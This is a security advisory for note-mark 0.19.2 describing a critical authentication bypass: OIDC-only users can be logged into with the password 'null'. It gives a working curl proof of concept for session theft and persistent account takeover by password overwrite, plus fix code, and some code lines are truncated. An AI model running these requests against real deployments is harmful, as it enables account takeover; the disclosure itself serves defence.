OIDC-registered users authenticated by submitting password "null"

Critical **enchant97** published **GHSA-pxf8-6wqm-r6hh** 2 weeks ago

Software

enchant97/note-mark

Affected versions

0.19.2

Patched versions

0.19.3

Description

Summary

`IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt("null")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: "null"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

`backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`:

```
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.Defau t
```

`IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty:

```
func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
```

```
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil
        return true
    }
    return false
}
```

OIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`:

```
return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})
```

The internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie.

`EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint.

Once the session is issued, `PUT /api/users/me/password` accepts `existingPassword: "null"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against `note-mark` v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed.

```
docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
```

```
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2
```

Step 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte("")`.

Step 3: Bob confirms the preconditions.

```
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":...}
```

Step 4: Bob logs in as Alice via the internal endpoint.

```
curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'
```

Response:

```
HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict
```

Step 5: Bob uses the cookie to read Alice's account.

```
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}
```

Step 6: Bob persists access by writing his own password onto Alice's row.

```
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content
```

Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.

A companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`.

Impact

Every OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.

The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.

Recommended Fix

The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`:

```
// backend/services/auth.go:28
var user db.User
if err := db.DB.
    First(&user, "username = ?", username).
    Select("id", "password").Error; err != nil {
    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
    return core.AccessToken{}, InvalidCredentialsError
}

if len(user.Password) == 0 {
    return core.AccessToken{}, InvalidCredentialsError
}

if !user.IsPasswordMatch(password) {
    return core.AccessToken{}, InvalidCredentialsError
}
```

The equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step.

Replacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:

```
// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bc
```

The explicit empty-password check is preferable because the intent is readable in the source.

Found by aisafe.io

Severity

Critical 9.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CVE ID

CVE-2026-41571

Weaknesses

▶ CWE-287

Credits

 **adrgs** Reporter

 **aisafe-bot** Finder